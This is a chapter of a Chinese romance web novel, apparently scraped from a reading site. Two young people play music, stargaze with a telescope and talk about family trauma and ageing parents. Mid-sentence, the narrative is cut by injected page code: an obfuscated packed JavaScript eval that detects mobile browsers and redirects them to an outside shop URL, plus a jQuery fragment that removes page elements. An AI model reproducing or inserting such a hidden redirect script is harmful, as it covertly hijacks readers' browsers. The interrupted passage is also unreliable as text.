39. 繁星

作品:《沿着废弃铁轨追逐日落

    “就……”孟至结巴了一下,一只手指着客厅一角的巨大黑影,“弹琴……”


    方铭愣了一下,哧地一声笑了。孟至从他脚上退下,他恋恋不舍地松开手,打开了星星点点的氛围灯,但是没有开主灯。厅里一片朦胧。


    孟至坐在琴凳上,方铭也蹭了过来,挨着她坐下,一个肩膀还跟她身体重叠起来。孟至摸了一把脸,觉得方才涌上来的血液又倒流回去了。她像对二姨姥那样寒暄道:“方师傅,最近工作顺不顺?望远镜的镜头做出来了吗?”


    在微弱的灯光下,她看到方铭面露忧郁神色,简直我见犹怜。他的手指无意识地滑过几个琴键,隔了一会儿才回答:“我发现科研和现实是有差距的,很多东西一到实际推进,就变得很难。”


    “那是那是啦。”孟至察言观色,拍着他的肩膀说,“但是人类都能上天了,说明时间长了,总能攻克难关!”这也是孟至从数学系毕业后,没有继续走学术路线的原因。数学家的工作需要时间和耐心,而她连每天坐班都嫌累,所以选择了相对自由的销售顾问岗位。


    方铭的表情缓和下来,微笑着说:“那你准备怎么帮我?”


    孟至想都没想,就说:“包养你呀!等我有钱!不是都说好了吗?”


    他的耳朵动了一下,月光下,一片暗淡的红色从他的脸颊蔓延到耳尖。他有点生气地问:“你知道包养是什么意思吗?”


    “怎么不知道?”孟至快言快语地答完,又觉得自己确实没想过怎么包养他。她还不习惯别人进入他最私密的安全区,或许到时候可以把方铭收为保姆,让他住阁楼?


    见她眼睛转来转去,方铭那隐隐的怒意有增无减。他坐直了身体,下颌线锐利而紧绷。孟至把脸伸到他面前看看,发现他眼中有热烈的光芒,却被克制着,还有无名的烦躁,浮现在幽深的黑亮之中。


    孟至忍不住问:“你怎么了?”


    方铭简短地问:“你今晚留下吗?”


    “不!”孟至心中警铃大作,立刻拒绝。见他垂下头,一副受伤害的样子,孟至斟酌着说:“不过可以……弹会儿琴再走?”


    方铭嗯了一声,看不出是满意还是失望。抑或是他另有计谋。


    孟至拎起一旁的吉他,随便弹起一段民谣。她的侧脸隐藏在阴影中,从额头到鼻骨再到下巴,线条一波三折,精妙无双。另一边的头发垂下来,仿佛是衬托着这张精美侧脸的幕布。


    方铭看了一会儿,忍不住问道:“真的只弹琴?”


    “干嘛?”孟至仍然低头按着品,手指没停了拨弦,只是很帅气地挑了一下眉毛,“你难道要伴舞?”


    方铭目光不善地盯着她:“什么舞,你又看那些男人跳舞的视频了?”


    孟至假惺惺地说:“下次分享给你一起看。”


    “那有什么好看的。”方铭别过脸去,像自言自语一样冷冷地说,“我为什么要看那些。”


    “那你说看啥呢?”孟至终于放下吉他,抬起头来,满怀希望地看着他,“要不看你……”


    呼啦一下,方铭站起身,径直走到窗边,把孟至吓了一跳。她担忧地说:“你不要想不开啊,别跳楼啊,我不看了还不行?”


    方铭凉嗖嗖地看了她一眼,从窗边的地上捡起一个长筒,用它对着天上瞭望了片刻,然后将它递给孟至。


    孟至立刻接过来,借着微弱的灯光和窗外的月光一看,原来是望远镜。她立刻高兴起来,用一只眼睛瞄着小窗口,看着天上那些被放大的星星。


    今夜天空十分晴朗,光是大而亮的星星就有三颗。孟至用望远镜扫来扫去,还看见了不少暗淡而微小的星星。方铭在她耳边问道:“好玩吗?”


    “好玩!”孟至兴奋地说,“还可以看到街对面那个楼里的人正在……”


    “哎哎。”方铭立刻出声阻止,“别看人家窗户。”


    孟至带着一脸梦幻的神色,缓缓放下望远镜,突然叹了口气。方铭问:“怎么?不想看星星了?”


    他慢慢攥住衣服下摆,先盯着孟至的脸,然后眼睛不受控制地往下看:“真的想看我?”


    “谁想看你了。”孟至嘟囔了一句,“我就是在想,人连天空和深海都能探索,还能研究出一套理论,可是对自己的思想,怎么就琢磨不透呢?”


    方铭愣了一下,泄气地说:“我在浑身发热,你还在跟我谈哲学……”


    孟至一听他直白的发言,有点脸红,自己一骨碌坐在窗边的地毯上,不说话了。方铭呼出一口气,坐在旁边的凉地板上,淡淡地说:“对自己有什么琢磨不透的?”


    组织了一下词汇后,孟至沉思着说:“我发现人总是不知道自己想要什么。你看,我妈逐渐恢复了,我爸暂时也不用做二次手术,按理说我应该知足呀。可我总是想逃开,一到家人身边,就觉得不开心。”


    方铭轻声说:“过去的事就不要再想。如果童年已经影响了你的过去,就不要让它再影响你的现在。”


    生平第一次,孟至的童年创伤被除了斯基以外的人看见了。孟至却没觉得羞耻和丢脸,这让她感到意外。


    方铭说:“我有一个远方小姨,她小时候被起名叫多余的余,还差点被送人。”嘶地一声,孟至倒吸一口冷气。方铭继续说:“如果是我,我肯定很生气,你特爹的什么意思,给我起名叫多余。”


    “你还会骂人。”孟至像捡钱一样开心。


    “但我小姨,最后也跟父母和解了。她现在还会去照顾父母,毕竟子女对父母有法律上的义务。”方铭静静地说,“我不是说这种父母值得和解,我只是说,人到最后会和自己的内心和解。后来每次听到有同学说父母对他们不好,我就会说,那他们有把你扔了吗。没有吧?”


    孟至不禁大骇:“你这要求还真低……”


    他嘴角一扬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885022|184753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,无声地笑了。


    孟至告诉方铭,姥爷曾经说过,一家的老人去世后,年轻的人就要独自面对生活,就像白菜外面的叶子剥落,露出里面的芯。祖父母辈四个老人都不在了,孟至有时会想,如果有一天自己在世上没有亲人了,那么到那时她可能会渴望再次回到家人身边,哪怕是回到正在打架的姥姥姥爷身边。谁不害怕孤独呢?


    生活似乎在好转,但她总是担心母亲的心脏,担心老孟的手术。为什么自己总是凄惶不安,无论到哪里都不能安宁?


    方铭静静地听着,时不时抬起幽深的眼睛,默默看一眼孟至。等她说完以后,方铭替她总结:“你不喜欢父母,但又没法舍弃亲情。”孟至点了点头。方铭又说:“所以,明明眼下生活很平静,但你还是经常恐惧,害怕他们再生病。难怪人家说,当你感觉到幸福的时候,就已经不幸福了。”


    孟至摆弄着望远镜,轻轻地说:“确实。因为你知道了什么是幸福,就开始提心吊胆,害怕这种幸福会结束。”


    “不要为未来的事恐惧。有一首诗里写,生年不满百,常怀千岁忧。”方铭沉沉地说,“还有一句话说,你担心什么,什么就控制你。”


    孟至转头看着他:“是你的经验之谈吗?”


    方铭点了点头。两人都没再说话。孟至陷入了思维的漫游。当她怀念一段过去的岁月,她是在怀念那时候老人活着,父母年轻,自己尚处在青春时代,未来有无限可能。


    许久之后,他说:“我妈不是我姐的亲妈,你知道的。我妈很固执,对我很严厉,对我姐就更谈不上温情。”


    “哦。”孟至若有所思地点头,表示自己能想象继母和水冰月之间有过多少矛盾,看得见的,看不见的,能说出来的,只能深藏内心的,无数划痕留在水冰月的童年和少年时代。


    也许是觉得这是自己姐姐的隐私,方铭没有再说太多。他只是摇头说:“我妈是什么样的人?年纪大了,门牙掉了,都不愿意镶。”


    “那可要让她多打麻将,锻炼大脑。”孟至正经地说,“我看过一本书,上面说大脑老化的表现之一,就是人变得固执。哦,对了,上面还说老人最怕的不是得病,是摔跤,我姥姥就是摔了一跤,就卧床了,没两个月就去世了……”


    方铭拉住了孟至的手,孟至的声音弱下去了。


    两人手拉手坐了一会儿,孟至小声说:“以后我们一起变老,要摔一起摔。”


    “我还会给你垫背的。”方铭叹了一口气,“谁让我是给你垫背的朋友?”


    孟至眼睛亮晶晶的,抿嘴笑了。她说:“爱恨交织的亲情啊。为什么非要解决问题?算了,就让它存在着吧。”


    方铭认真地说:“你这句很有莎士比亚的风格。”


    孟至哈哈大笑起来,顺势靠在了方铭胳膊上。方铭板着脸说:“别……别动。”


    他的体温又开始升高了。